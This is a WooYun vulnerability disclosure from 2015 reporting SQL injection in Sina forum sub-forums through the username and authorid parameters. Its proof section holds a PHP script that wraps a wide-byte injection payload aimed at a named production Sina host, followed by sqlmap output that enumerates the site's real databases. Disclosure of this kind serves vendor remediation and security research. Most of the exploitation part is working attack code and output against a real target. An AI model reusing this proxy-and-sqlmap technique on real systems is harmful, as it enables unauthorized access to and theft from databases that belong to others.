当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100540

漏洞标题:新浪论坛子论坛通用注入2+3+4

相关厂商:新浪

漏洞作者: 杀器王子

提交时间:2015-03-10 17:54

修复时间:2015-04-24 17:56

公开时间:2015-04-24 17:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-10: 细节已通知厂商并且等待厂商处理中
2015-03-10: 厂商已经确认,细节仅向厂商公开
2015-03-20: 细节向核心白帽子及相关领域专家公开
2015-03-30: 细节向普通白帽子公开
2015-04-09: 细节向实习白帽子公开
2015-04-24: 细节向公众公开

简要描述:

新浪论坛子论坛通用注入2,3,4

详细说明:

漏洞影响范围参考
WooYun: 新浪论坛子论坛通用注入
注入点
space.php?username=*
digest.php?authorid=*
还有digest.php的post搜索功能

漏洞证明:

仅用一个站的一个点证明 其他的自行排查

<?php
$url = "http://forum.sports.sina.com.cn/digest.php?authorid=1504838220%df' and 1=".$_GET['sql']."%23";
$url=str_replace(' ', '%20', $url);
$url=str_replace('--', '', $url);
echo $url;
echo file_get_contents($url);
?>


python sqlmap.py --url="http://localhost/htdocs/test.php?sql=1" --dbms=mysql --technique=B --threads=10 --dbs             
_
___ ___| |_____ ___ ___ {1.0-dev-8281fe4}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:50:14
[17:50:14] [INFO] testing connection to the target URL
[17:50:15] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sql (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sql=1 AND 5186=5186
---
[17:50:16] [INFO] testing MySQL
[17:50:16] [INFO] confirming MySQL
[17:50:16] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.2, Apache
back-end DBMS: MySQL >= 5.0.0
[17:50:16] [INFO] fetching database names
[17:50:16] [INFO] fetching number of databases
[17:50:16] [INFO] retrieved:
[17:50:17] [WARNING] reflective value(s) found and filtering out
3
[17:50:21] [INFO] retrieving the length of query output
[17:50:21] [INFO] retrieved: 18
[17:51:19] [INFO] retrieved: information_schema
[17:51:19] [INFO] retrieving the length of query output
[17:51:19] [INFO] retrieved: 11
[17:51:58] [INFO] retrieved: forumsports
[17:51:58] [INFO] retrieving the length of query output
[17:51:58] [INFO] retrieved: 4
[17:52:14] [INFO] retrieved: test
available databases [3]:
[*] forumsports
[*] information_schema
[*] test
[17:52:14] [INFO] fetched data logged to text files under '/Users/.sqlmap/output/localhost'

修复方案:

过滤

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-10 18:25

厂商回复:

感谢关注新浪安全,漏洞修复中。

最新状态:

暂无